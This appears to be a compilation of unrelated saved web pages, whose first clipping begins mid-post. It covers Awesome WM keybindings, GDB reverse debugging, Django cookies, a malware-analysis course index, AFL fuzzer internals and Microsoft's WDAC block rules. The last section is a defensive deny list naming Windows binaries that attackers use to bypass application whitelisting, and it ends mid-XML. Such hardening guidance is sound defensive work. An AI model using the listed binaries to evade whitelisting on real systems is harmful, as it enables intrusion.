setup your multimedia keys:  
  

CODE: SELECT ALL

    ` key({ "Control" }, "F1", function () awful.util.spawn ("fbrun -nearmouse -font terminus-8") end),  
key({ "Control" }, "F2", function () awful.util.spawn ("xterm") end),  
key({ "Control" }, "F3", function () awful.util.spawn ("rox") end),  
key({ }, "XF86Music", function () awful.util.spawn ("mocp --play") end),  
key({ }, "XF86AudioPlay", function () awful.util.spawn ("mocp --toggle-pause")
end),  
key({ }, "XF86AudioStop", function () awful.util.spawn ("mocp --exit") end),  
key({ }, "XF86AudioNext", function () awful.util.spawn ("mocp --next") end),  
key({ }, "XF86AudioPrev", function () awful.util.spawn ("mocp --previous")
end),  
`

  
  
You can put your keys in the 'global keys =' part of rc.lua. I've put my
shortcut keys below the 'Standard progam' part:  
  

CODE: SELECT ALL

    ` -- Standard program  
key({ modkey, }, "Return", function () awful.util.spawn(terminal) end),  
key({ modkey, "Control" }, "r", awesome.restart),  
key({ modkey, "Shift" }, "q", awesome.quit),  
  
key({ modkey, }, "l", function () awful.tag.incmwfact( 0.05) end),  
key({ modkey, }, "h", function () awful.tag.incmwfact(-0.05) end),  
key({ modkey, "Shift" }, "h", function () awful.tag.incnmaster( 1) end),  
key({ modkey, "Shift" }, "l", function () awful.tag.incnmaster(-1) end),  
key({ modkey, "Control" }, "h", function () awful.tag.incncol( 1) end),  
key({ modkey, "Control" }, "l", function () awful.tag.incncol(-1) end),  
key({ modkey, }, "space", function () awful.layout.inc(layouts, 1) end),  
key({ modkey, "Shift" }, "space", function () awful.layout.inc(layouts, -1)
end),  
-- My keys  
key({ "Control" }, "F1", function () awful.util.spawn ("fbrun -nearmouse -font
terminus-8") end),  
key({ "Control" }, "F2", function () awful.util.spawn ("xterm") end),  
key({ "Control" }, "F3", function () awful.util.spawn ("rox") end),  
key({ "Control" }, "F4", function () awful.util.spawn ("leafpad") end),  
key({ "Control" }, "F5", function () awful.util.spawn ("kazehakase") end),  
key({ "Control" }, "F6", function () awful.util.spawn ("midori") end),  
key({ "Control" }, "F7", function () awful.util.spawn ("iceweasel") end),  
key({ "Control" }, "F8", function () awful.util.spawn ("sylpheed") end),  
key({ "Control" }, "F11", function () awful.util.spawn ("xlock -nolock -mode
random -fullrandom") end),  
key({ "Control" }, "F12", function () awful.util.spawn ("xlock -mode random
-fullrandom") end),  
key({ "Control" }, "Print", function () awful.util.spawn ("scrot") end),  
key({ "Control", "Mod1" }, "Escape", function () awful.util.spawn ("xkill")
end),  
-- Multimedia keys  
key({ }, "XF86Music", function () awful.util.spawn ("mocp --play") end),  
key({ }, "XF86AudioPlay", function () awful.util.spawn ("mocp --toggle-pause")
end),  
key({ }, "XF86AudioStop", function () awful.util.spawn ("mocp --exit") end),  
key({ }, "XF86AudioNext", function () awful.util.spawn ("mocp --next") end),  
key({ }, "XF86AudioPrev", function () awful.util.spawn ("mocp --previous")
end),  
`

  
  
Part two of this howto is almost finished now, I'll only have to add a howto
change the layout of the panel and then howto use/change themes in part three.  
  
Here you can find my rc.lua, my theme and a couple of screenshots 1, 2 and 3.  
  
More information can be found on the following sites:  
  
Awesome home page  
Awesome Wiki  
User config examples

Last edited by toto on 2009-03-13 01:32, edited 3 times in total.

toto

    
    **Posts:** 12 
    **Joined:** 2007-07-25 01:06 
  

# GDB and Reverse Debugging

**Created:**| _7/3/2012 7:52:49 PM_  
---|---  
**Updated:**| _7/3/2012 7:52:49 PM_  
**Author:**| __  
**Tags:**| _Debugging reversing Memory corruptions gdb_  
  

# GDB: The GNU Project Debugger

\[bugs\] \[committee\] \[contributing\] \[current cvs\] \[documentation\]
\[download\] \[home\] \[irc\] \[links\] \[mailing lists\] \[news\]
\[schedule\] \[song\] \[wiki\]

## GDB and Reverse Debugging

### Overview

GDB version 7.0 \(due September 2009\) will be the first public release of gdb
to support reverse debugging \(the ability to make the program being debugged
step and continue in reverse\). See the wiki page here.

Presently, only certain target debugging environments will support reverse
debugging. Those targets currently include:

  * Native i386-linux \('target record'\) 
  * Native amd64-linux \('target record'\) 
  * Several remote targets, including: 
    * moxie-elf simulator 
    * Simics 
    * VMware Workstation 7.0 
    * the SID simulator \(xstormy16 architecture\) 
    * chronicle-gdbserver using valgrind 
    * UndoDB

All of those targets, plus any additional ones in the future, will support a
common user interface for reverse debugging in gdb, including the new
commands:

  * **reverse-continue** \('rc'\) -- Continue program being debugged but run it in reverse 
  * **reverse-finish** \-- Execute backward until just before the selected stack frame is called 
  * **reverse-next** \('rn'\) -- Step program backward, proceeding through subroutine calls. 
  * **reverse-nexti** \('rni'\) -- Step backward one instruction, but proceed through called subroutines. 
  * **reverse-step** \('rs'\) -- Step program backward until it reaches the beginning of a previous source line 
  * **reverse-stepi** \-- Step backward exactly one instruction 
  * **set exec-direction \(forward/reverse\)** \-- Set direction of execution.  
All subsequent execution commands \(continue, step, until etc.\) will run the
program being debugged in the selected direction.

Breakpoints and watchpoints will work in reverse -- allowing you for instance
to proceed directly to the previous point at which a variable was modified.

### Still to do

Now that the core GDB contains support for reverse debugging, it should be
possible to add revese execution support to existing GNU simulators such as
the ones built into GDB, as well as non-GNU targets such as valgrind, SID, and
qemu.

For greater performance and fidelity in userspace and/or kernel reverse
debugging, some work on GNU/Linux as well as other open source kernels might
be done.

The built-in GDB target 'Process Record / Replay' currently only supports
native reverse debugging on three platforms \(i386-linux, amd64-linux, and
moxie-elf\). Volunteers are needed to extend this functionality to other
GNU/Linux platforms, and even to other operating systems.

The FSF and GDB maintainers are eagerly seeking new volunteers and
contributions in this area. If anyone reading this is interested in
contributing to this leading edge area of research and development, we would
welcome your help\!

### Acknowledgements

  * Tomas Holmberg contributed MI support for reverse debugging in Eclipse 
  * Oza Pawandeep contributed floating point reverse support for i386 
  * Anthony Green contributed a process record port for moxie-elf 
  * Hui Zhu contributed a process record port for amd64-linux 
  * Hui Zhu contributed the process record framework, along with the original port for i386-linux 
  * Dave Brolley contributed a reversible SID simulator for xstormy16  
\(Note that sid is not a GNU project, but it is licensed under the GPL.\)

  * Michael Snyder contributed the core gdb framework for reverse debugging 
  * All of the gdb maintainers are to be thanked for invaluable discussion, suggestions, and code review. 

# Eli Bendersky's website » Blog Archive » Django sessions – part I: Cookies

**Created:**| _9/8/2011 11:38:41 PM_  
---|---  
**Updated:**| _9/8/2011 11:38:41 PM_  
**Author:**| __  
**Tags:**| _web-app-sec python Django_  
  

## Django sessions – part I: Cookies

June 24th, 2011 at 12:54 pm

HTTP is a stateless protocol – the server is not required to retain
information or status about each user for the duration of multiple requests.

For smart web applications, however, this isn’t good enough. You want to login
into an application and have it remember you across requests. A good example
is maintaining a "shopping cart" at some merchandise website, which you
gradually fill as you browse through the products that interest you.

<img src='img/Temp2_2557.gif' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/06/cookie-small.gif' />

To solve this problem, HTTP cookies were invented by Netscape back in the
1990s. Cookies are formally defined in RFC2965, but to spare you all that
jabber, cookies can be described very simply.

A cookie is just an arbitrary string sent by the server to the client as part
of the HTTP response. The client will then return this cookie back to the
server in subsequent requests. The information stored in the cookie is
_opaque_ to the client – it’s only for the server’s own use. This scheme
allows the client to identify itself back to the server with some state the
server has assigned it. Here’s a more detailed flow of events:

  1. The client connects to the server for the first time, and sends a normal HTTP request \(say, a simple `GET` for the main page\).
  2. The server wants to track the client’s state and in its HTTP response \(which contains the page contents\) attaches a `Set-Cookie` header. This header’s information is a set of _key, value_ pairs, where both keys and values are strings that make sense for the server, but for the client are a black box.
  3. In subsequent requests the client makes to the server, it adds a `Cookie` header in the HTTP requests it sends, with the cookie information the server specified in previous responses.

Implementation-wise, the client stores the latest cookie received from various
servers \(which are easily identifiable by their URLs\). Even if the next time
the client accesses the server is a few days after the previous request, it
will still send this information \(assuming the cookie hasn’t expired\), and
the server will be able to identify it. This is why I can point my browser to
Amazon today, not having visited it for some weeks, and the website will greet
me with "Hello, Eli".

The above is a necessarily simplified explanation of cookies – I have no
intention of repeating the contents of the RFC here. There are a lot of
details I’ve left out like expiration time, filtering of cookies by paths,
various size and amount limits the user agents \(web browsers, etc.\) are
forced to abide, and so on. However, it’s a sufficient amount of details for
the needs of this article, so let’s see some code.

### Setting cookies in Python, without Django

The following demonstrates how to set cookies in from a Python server-side
application without using Django. For simplicity, I’ll just use the web server
built-in into the Python standard library:

[code]

    from BaseHTTPServer import HTTPServer
    from SimpleHTTPServer import SimpleHTTPRequestHandler
    import Cookie
    
    class MyRequestHandler(SimpleHTTPRequestHandler):
        def do_GET(self):
            content = "<html><body>Path is: %s</body></html>" % self.path
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.send_header('Content-length', str(len(content)))
    
            cookie = Cookie.SimpleCookie()
            cookie['id'] = 'some_value_42'
    
            self.wfile.write(cookie.output())
            self.wfile.write('\r\n')
    
            self.end_headers()
            self.wfile.write(content)
    
    server = HTTPServer(('', 59900), MyRequestHandler)
    server.serve_forever()
    
[/code]

This is a very simple application that just shows the path that the client
requested. The more interesting thing happens below the covers – the
application also sets a cookie. If we examine the HTTP response sent by this
application to a client that connected to it, we’ll see this among the
headers:

[code]

    Set-Cookie: id=some_value_42
    
[/code]

In a similar manner, the Cookie module allows the server to parse cookies
returned by the client in `Cookie` headers, using the `load` method.

### Setting and reading cookies with Django

Django makes setting and reading cookies almost trivial. Here’s a simple view
that checks whether the client set the `id` cookie in its request, and if it
hadn’t, sends the cookie to the client \(so that the client will have it for
the next request\):

[code]

    def test_cookie(request):
        if 'id' in request.COOKIES:
            cookie_id = request.COOKIES['id']
            return HttpResponse('Got cookie with id=%s' % cookie_id)
        else:
            resp = HttpResponse('No id cookie! Sending cookie to client')
            resp.set_cookie('id', 'some_value_99')
            return resp
    
[/code]

As you can see, cookies are taken from the `COOKIES` dict-like attribute of
Django’s `HttpRequest`, and set by calling the `set_cookie` method of
`HttpResponse`. Couldn’t be any simpler. What we’re really here for is to
understand how these things work under the hood of Django, so let’s dive in.

### How cookies are implemented in Django

The recommended way to deploy Django applications is with WSGI, so I’ll focus
on the WSGI backend implemented in Django. This is a good place to mention
that at the time of this writing, I’m looking into the source code of Django
1.3, which is installed in `site-packages/django` in the usual installation
structure of Python.

Looking at Django’s `WSGIRequest` class \(which inherits from `http.Request`\)
we can see that `COOKIES` is a _property_ that hides a dict attribute named
`self._cookies` behind a getter/setter pair. The dict is initialized in
`_get_cookies`:

[code]

    def _get_cookies(self):
        if not hasattr(self, '_cookies'):
            self._cookies = http.parse_cookie(self.environ.get('HTTP_COOKIE', ''))
        return self._cookies
    
[/code]

This appears to be a lazy initialization that should aid performance – if the
view doesn’t want to look into the cookies of a request, there’s no need to
parse them. Cookies are taken from the `HTTP_COOKIE` entry of the request’s
environment object, per the WSGI specification. What about
`http.parse_cookie`? This is a utility method in Django’s HTTP module:

[code]

    def parse_cookie(cookie):
        if cookie == '':
            return {}
        if not isinstance(cookie, Cookie.BaseCookie):
            try:
                c = SimpleCookie()
                c.load(cookie, ignore_parse_errors=True)
            except Cookie.CookieError:
                # Invalid cookie
                return {}
        else:
            c = cookie
        cookiedict = {}
        for key in c.keys():
            cookiedict[key] = c.get(key).value
        return cookiedict
    
[/code]

As you can see, it uses the `Cookie` module from the standard library to parse
the cookie with the `load` method, similarly to what I mentioned above for the
non-Django code.

Setting cookies on a response is done with the `set_cookie` method of
`HttpResponse`. This method simply writes down the new cookie in its
`self.cookies` attribute. `WSGIHandler` then adds the cookies to its response
headers when sending the response.

### Wrapping up

As you can see, cookies are relatively easy to handle in Python, and in
particular with Django. That said, when writing a Django application it’s rare
to be needing cookies directly, because cookies are a fairly low-level
building block. Django’s higher level session framework is much easier to use
and is the recommended way to implement persistent state in applications. The
next part of the article will examine how to use Django sessions and how they
work under the hood.

# Malware Unicorn by securedorg

**Created:**| _5/28/2017 11:03:05 AM_  
---|---  
**Updated:**| _5/28/2017 11:03:05 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

  

# Malware Unicorn

twitter: @malwareunicorn  
Website: amanda.secured.org  
Company: Endgame, Inc.  
<img src='img/Temp2_5136.png' width='270' height='264' alt='MU' />

View My GitHub Profile

# Reverse Engineering Malware 101

# Material

## Introduction

### Section 1\) Fundamentals

### Section 2\) Malware Techniques

### Section 3\) RE Tools

### Section 4\) Triage Analysis

### Section 5\) Static Analysis

### Section 6\) Dynamic Analysis

Hosted on GitHub Pages — Theme by orderedlist

  

# bharadwaj.machiraju

**Created:**| _3/7/2018 8:36:34 AM_  
---|---  
**Updated:**| _3/7/2018 8:36:34 AM_  
**Author:**| _wishi_  
**Tags:**| _fuzzing_  
  

  

# bharadwaj.machiraju

## Introduction

If you need an introduction to AFL, you have probably missed out a lot in the
instrumented binary fuzzing saga for the past couple of years. **afl-
fuzz**\(fuzzer part of this toolset\) is extremely fast, easy to use and
requires minimal configuration. Technical details of AFL are available here.
All this awesomeness was written in C, a language that I almost never used. So
I wanted to try and understand the implementation i.e How ideas were
translated to code in AFL.

## Instrumentation

### 1\. Idea

Consider a sample program which determines a command line parameter to be even
or odd.

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    
    int main(int arc, char *argv[]) {
            ((atoi(argv[1]) % 2) == 1) ? printf("Odd") : printf("Even");
            return 0;
    }
    
[/code]

Coverage guided fuzzing requires the fuzzer to be aware of execution flow in
the target in response to a certain input. One way to achieve it is to modify
the source code in a way to trace the flow. Somewhat like

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    
    int main(int arc, char *argv[]) {
            notifyFuzzer("main starting")
            if ((atoi(argv[1]) % 2) == 1) {
                    notifyFuzzer("if condition taken")
                    printf("Odd");
            } else {
                    notifyFuzzer("else condition taken")
                    printf("Even");
            }
            return 0;
    }
    
[/code]

Question remains - _How to instrument super huge code base in a language
agnostic and collision resistant manner?_

> HINT: Compilers \(language -> assembly\), assembler \(assembly -> object
> code\), linker \(object code -> executable/library\)
Assembler is a good place to instrument the basic blocks. For example, gcc by
default uses GNU as assembler. afl-gcc is a wrapper around gcc which uses afl-
as by symlinking _afl-as_ as _as_ and adding the directory to compiler search
path via `-B`.

### 2\. Coverage Measurements

Please go through **Coverage measurements** section of the technical paper for
an indepth understanding of it. A quick recap for the enlightened ones, AFL
assigns a random compile time constant to each basic block and uses a 64kB
array to trace the execution flow with the help of following logic.

[code]

    cur_location = <COMPILE_TIME_RANDOM>;
    shared_mem[cur_location ^ prev_location]++;
    prev_location = cur_location >> 1;
    
[/code]

### 3\. Communication

  * AFL uses forkserver model to fuzz a program. For more info on the forkserver model of fuzzing, check this.
  * Instance of the instrumented binary will be used as a forkserver which will communicate with the fuzzer process via fds 198 \(control queue\) & 199 \(status queue\).
  * Clones of this forkserver instance are used to run the testcases. So, techically the actual fuzzy input execution happens in grandchildren process of the fuzzer.
  * The execution trace from the target is available via shared memory \(shm\) to the fuzzer process.

### 4\. Implementation

**afl-as** parses the assembly file and adds

  * a trampoline at places where flow needs to be recorded. Each trampoline written has a unique constant hardcoded in it, which is used for tracing the flow between different blocks. That constant is loaded into \[re\]cx and **\_\_afl\_maybe\_log** ion is called. AFL generally places a trampoline at the beginning of main to create the forkserver.
>
[code]>     lea rsp, qword rsp - 0x98

>     mov qword [rsp], rdx
>     mov qword [arg_8h], rcx
>     mov qword [arg_10h], rax
>     mov rcx, 0xcb0
>     call loc.__afl_maybe_log
>     mov rax, qword [arg_10h]
>     mov rcx, qword [arg_8h]
>     mov rdx, qword [rsp]
>     lea rsp, qword rsp + 0x98
>  
[/code]

  * a main payload which consists of multiple \_\_afl code locations like _\_\_afl\_maybe\_log_ and other variable declarations that will be used by those functions. In an instrumented binary you can find the following afl related symbols, all NOTYPE ones are basically assembly code locations for jumping to and OBJECT symbols are for variable data.
> Type | Bind | Name | Usage  
> ---|---|---|---  
> NOTYPE | LOCAL | \_\_afl\_maybe\_log\(\) | The only function called from trampoline \- \(\_\_afl\_area\_ptr == 0\) \_\_afl\_setup\(\) : \_\_afl\_store\(\)  
> NOTYPE | LOCAL | \_\_afl\_setup\(\) | 
>     * if \_\_afl\_setup\_failure \!= 0: \_\_afl\_return\(\)
>     * \_\_afl\_global\_area\_ptr == 0 ? \_\_afl\_setup\_first\(\) :
> \_\_afl\_store\(\)  
> NOTYPE | LOCAL | \_\_afl\_setup\_first\(\) | One time setup inside the target process \- Get shm id from env var \_\_AFL\_SHM\_ID \- Map the shared memory and store the location in \_\_afl\_area\_ptr & \_\_afl\_global\_area\_ptr \- \_\_afl\_forkserver\(\)  
> NOTYPE | LOCAL | \_\_afl\_store\(\) | 
>     * shared\_mem\[cur\_loc ^ prev\_loc\]++; prev\_loc = cur\_loc >> 1;  
> NOTYPE | LOCAL | \_\_afl\_die\(\) | Call exit\(\)  
> NOTYPE | LOCAL | \_\_afl\_forkserver\(\) | Write 4 bytes to fd 199 and \_\_afl\_fork\_wait\_loop\(\)  
> NOTYPE | LOCAL | \_\_afl\_fork\_wait\_loop\(\) | 
>     * Wait for 4 bytes on fd 198 and then clone the current process
>     * In child process, \_\_afl\_fork\_resume\(\)
>     * In parent
>  
>       * Store child pid to \_\_afl\_fork\_pid
>       * Write it to fd 199 and call waitpid which will write child exit
> status to \_\_afl\_temp
>       * Write child exit status in \_\_afl\_tempt to fd 199.
>       * \_\_afl\_fork\_wait\_loop\(\)  
> NOTYPE | LOCAL | \_\_afl\_fork\_resume\(\) | Closes the fds 198 & 199 \(fuzzer <-> forkserver comm\) & resumes with execution  
> NOTYPE | LOCAL | \_\_afl\_setup\_abort\(\) | Increment \_\_afl\_setup\_failure and \_\_afl\_return\(\)  
> NOTYPE | LOCAL | \_\_afl\_return\(\) | Simple return  
> OBJECT | GLOBAL | \_\_afl\_global\_area\_ptr | Global ptr to shared memory  
> OBJECT | LOCAL | \_\_afl\_area\_ptr | Ptr to shared memory  
> OBJECT | LOCAL | \_\_afl\_fork\_pid | Cloned pid variable  
> OBJECT | LOCAL | \_\_afl\_prev\_loc | Previous location variable, used to update traces in shared memory  
> OBJECT | LOCAL | \_\_afl\_setup\_failure | Counter to setup failures  
> OBJECT | LOCAL | \_\_afl\_temp | Temp varible for different purposes  

### 5\. Example

Try compiling the above c code with afl-gcc and have a look at the decompiled
main\(\). The easiest way to picturise is to use graph mode of your
disassembler. The intention is to show the injection of trampolines in all
basic blocks.

[code]

                                            .------------------------------------------------------------------.
                                            | [0x810] ;[gd]                                                    |
                                            |   ; section 13 va=0x00000810 pa=0x00000810 sz=1730 vsz=1730 rwx= |
                                            |   ;-- main:                                                      |
                                            |   ;-- section_end..plt:                                          |
                                            |   ;-- section..text:                                             |
                                            | (fcn) sym.main 311                                               |
                                            | lea rsp, qword rsp - 0x98; test.c:5 int main(int arc, char *argv |
                                            | mov qword [rsp], rdx; .//:1347                                   |
                                            | mov qword [arg_8h], rcx                                          |
                                            | mov qword [arg_10h], rax                                         |
                                            | mov rcx, 0xcb0                                                   |
                                            | call loc.__afl_maybe_log;[ga]                                    |
                                            | mov rax, qword [arg_10h]                                         |
                                            | mov rcx, qword [arg_8h]                                          |
                                            | mov rdx, qword [rsp]                                             |
                                            | lea rsp, qword rsp + 0x98                                        |
                                            | ...                                                              |
                                            `------------------------------------------------------------------'
                                                    | |
                                                    | '-------------------------------.
            .---------------------------------------'                                 |
            |                                                                         |
            |                                                                         |
    .----------------------------------------------------------------------.    .-----------------------------------------------------------------------.
    | nop dword [rax]                                                      |    |      ; JMP XREF from 0x0000086b (sym.main)                            |
    | lea rsp, qword rsp - 0x98                                            |    | nop                                                                   |
    | mov qword [rsp], rdx                                                 |    | lea rsp, qword rsp - 0x98; test.c:6  ((atoi(argv[1]) % 2) == 1) ? pri |
    | mov qword [arg_8h], rcx                                              |    | mov qword [rsp], rdx                                                  |
    | mov qword [arg_10h], rax                                             |    | mov qword [arg_8h], rcx                                               |
    | mov rcx, 0x7fee                                                      |    | mov qword [arg_10h], rax                                              |
    | call loc.__afl_maybe_log;[ga]                                        |    | mov rcx, 0xa6de                                                       |
    | ; [0x10:8]=0x1003e0003                                               |    | call loc.__afl_maybe_log;[ga]                                         |
    | mov rax, qword [arg_10h]                                             |    | ; [0x10:8]=0x1003e0003                                                |
    | ; [0x8:8]=0                                                          |    | mov rax, qword [arg_10h]                                              |
    | ...                                                                  |    | ; [0x8:8]=0                                                           |
    `----------------------------------------------------------------------'    | ...                                                                   |
                                                                                `-----------------------------------------------------------------------'
    
[/code]

  

# Microsoft recommended block rules \(Windows 10\)

**Created:**| _5/10/2019 8:32:50 AM_  
---|---  
**Updated:**| _5/10/2019 8:32:50 AM_  
**Author:**| __  
**Tags:**| _Defense windows-environment_  
  

  

# Microsoft recommended block rules

  * 04/09/2019
  * •26 minutes to read
  * • Contributors
    * <img src='img/jsuther1974.png' width='16' height='16' />
    * <img src='img/wweibull.png' width='16' height='16' />
    * <img src='img/Justinha.png' width='16' height='16' />
    * <img src='img/nschonni.png' width='16' height='16' />
    * <img src='img/lizap.png' width='16' height='16' />
    * all

**Applies to**

  * Windows 10
  * Windows Server 2016

Members of the security community\* continuously collaborate with Microsoft to
help protect customers. With the help of their valuable reports, Microsoft has
identified a list of valid applications that an attacker could also
potentially use to bypass Windows Defender Application Control.

Unless your use scenarios explicitly require them, Microsoft recommends that
you block the following applications. These applications or files can be used
by an attacker to circumvent application whitelisting policies, including
Windows Defender Application Control:

  * addinprocess.exe
  * addinprocess32.exe
  * addinutil.exe
  * bash.exe
  * bginfo.exe\[1\]
  * cdb.exe
  * csi.exe
  * dbghost.exe
  * dbgsvc.exe
  * dnx.exe
  * fsi.exe
  * fsiAnyCpu.exe
  * kd.exe
  * ntkd.exe
  * lxssmanager.dll
  * msbuild.exe\[2\]
  * mshta.exe
  * ntsd.exe
  * rcsi.exe
  * system.management.automation.dll
  * windbg.exe
  * wmic.exe

\[1\]A vulnerability in bginfo.exe has been fixed in the latest version 4.22.
If you use BGInfo, for security, make sure to download and run the latest
version here BGInfo 4.22. Note that BGInfo versions earlier than 4.22 are
still vulnerable and should be blocked.

\[2\]If you are using your reference system in a development context and use
msbuild.exe to build managed applications, we recommend that you whitelist
msbuild.exe in your code integrity policies. However, if your reference system
is an end user device that is not being used in a development context, we
recommend that you block msbuild.exe.

\*Microsoft recognizes the efforts of those in the security community who help
us protect customers through responsible vulnerability disclosure, and extends
thanks to the following people:

  

Name | Twitter  
---|---  
Casey Smith | @subTee  
Matt Graeber | @mattifestation  
Matt Nelson | @enigma0x3  
Oddvar Moe | @Oddvarmoe  
Alex Ionescu | @aionescu  
Lee Christensen | @tifkin\_  
Vladas Bulavas | Kaspersky Lab  
Lasse Trolle Borup | Langkjaer Cyber Defence  
Jimmy Bayne | @bohops  
Philip Tsukerman | @PhilipTsukerman  
  

７ Note

This application list will be updated with the latest vendor information as
application vulnerabilities are resolved and new issues are discovered.

Certain software applications may allow additional code to run by design.
These types of applications should be blocked by your Windows Defender
Application Control policy. In addition, when an application version is
upgraded to fix a security vulnerability or potential Windows Defender
Application Control bypass, you should add deny rules to your WDAC policies
for that application’s previous, less secure versions.

Microsoft recommends that you install the latest security updates. The June
2017 Windows updates resolve several issues in PowerShell modules that allowed
an attacker to bypass Windows Defender Application Control. These modules
cannot be blocked by name or version, and therefore must be blocked by their
corresponding hashes.

For October 2017, we are announcing an update to
system.management.automation.dll in which we are revoking older versions by
hash values, instead of version rules.

Microsoft recommends that you block the following Microsoft-signed
applications and PowerShell files by merging the following policy into your
existing policy to add these deny rules using the Merge-CIPolicy cmdlet.
Beginning with the March 2019 quality update, each version of Windows requires
blocking a specific version of the following files:

  * msxml3.dll
  * msxml6.dll
  * jscript9.dll

Pick the correct version of each .dll for the Windows release you plan to
support, and remove the other versions.

XML

[code]

    <?xml version="1.0" encoding="utf-8" ?> 
      <SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
      <VersionEx>10.0.0.0</VersionEx> 
      <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID> 
      <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID> 
      <Rules>
      <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option> 
      </Rule>
      <Rule>
      <Option>Enabled:Audit Mode</Option> 
      </Rule>
      <Rule>
      <Option>Enabled:Advanced Boot Options Menu</Option> 
      </Rule>
      <Rule>
      <Option>Enabled:UMCI</Option> 
      </Rule>
      </Rules>
      <!-- EKUS
      --> 
      <EKUs /> 
      <!-- File Rules
      --> 
      <FileRules>
      <Deny ID="ID_DENY_BGINFO" FriendlyName="bginfo.exe" FileName="BGINFO.Exe" MinimumFileVersion="4.21.0.0"/> 
      <Deny ID="ID_DENY_CBD" FriendlyName="cdb.exe" FileName="CDB.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_KD" FriendlyName="kd.exe" FileName="kd.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_KD_KMCI" FriendlyName="kd.exe" FileName="kd.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_NTKD" FriendlyName="ntkd.exe" FileName="ntkd.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_WINDBG" FriendlyName="windbg.exe" FileName="windbg.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_MSBUILD" FriendlyName="MSBuild.exe" FileName="MSBuild.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_CSI" FriendlyName="csi.exe" FileName="csi.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_DBGHOST" FriendlyName="dbghost.exe" FileName="DBGHOST.Exe" MinimumFileVersion="2.3.0.0"/> 
      <Deny ID="ID_DENY_DBGSVC" FriendlyName="dbgsvc.exe" FileName="DBGSVC.Exe" MinimumFileVersion="2.3.0.0"/> 
      <Deny ID="ID_DENY_DNX" FriendlyName="dnx.exe" FileName="dnx.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_RCSI" FriendlyName="rcsi.exe" FileName="rcsi.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_NTSD" FriendlyName="ntsd.exe" FileName="ntsd.Exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_LXSS" FriendlyName="LxssManager.dll" FileName="LxssManager.dll" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_BASH" FriendlyName="bash.exe" FileName="bash.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_FSI" FriendlyName="fsi.exe" FileName="fsi.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_FSI_ANYCPU" FriendlyName="fsiAnyCpu.exe" FileName="fsiAnyCpu.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_MSHTA" FriendlyName="mshta.exe" FileName="mshta.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_VISUALUIAVERIFY" FriendlyName="visualuiaverifynative.exe" FileName="visualuiaverifynative.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_RUNSCRIPTHELPER" FriendlyName="runscripthelper.exe" FileName="runscripthelper.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_ADDINPROCESS" FriendlyName="AddInProcess.exe" FileName="AddInProcess.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_ADDINPROCESS32" FriendlyName="AddInProcess32.exe" FileName="AddInProcess32.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_ADDINUTIL" FriendlyName="AddInUtil.exe" FileName="AddInUtil.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_WSL" FriendlyName="wsl.exe" FileName="wsl.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_WSLCONFIG" FriendlyName="wslconfig.exe" FileName="wslconfig.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_WSLHOST" FriendlyName="wslhost.exe" FileName="wslhost.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_INFINSTALL" FriendlyName="infdefaultinstall.exe" FileName="infdefaultinstall.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_LXRUN" FriendlyName="lxrun.exe" FileName="lxrun.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_PWRSHLCUSTOMHOST" FriendlyName="powershellcustomhost.exe" FileName="powershellcustomhost.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_TEXTTRANSFORM" FriendlyName="texttransform.exe" FileName="texttransform.exe" MinimumFileVersion="65535.65535.65535.65535"/> 
      <Deny ID="ID_DENY_WMIC" FriendlyName="wmic.exe" FileName="wmic.exe" MinimumFileVersion="65535.65535.65535.65535"/>
      <Deny ID="ID_DENY_MWFC" FriendlyName="Microsoft.Workflow.Compiler.exe" FileName="Microsoft.Workflow.Compiler.exe" MinimumFileVersion="65535.65535.65535.65535" /> 
      <Deny ID="ID_DENY_WFC" FriendlyName="WFC.exe" FileName="wfc.exe" MinimumFileVersion="65535.65535.65535.65535" />   
      <Deny ID="ID_DENY_KILL" FriendlyName="kill.exe" FileName="kill.exe" MinimumFileVersion="65535.65535.65535.65535" />  
      <! -- msxml3.dll pick correct version based on release you are supporting -->
      <! -- msxml6.dll pick correct version based on release you are supporting -->     
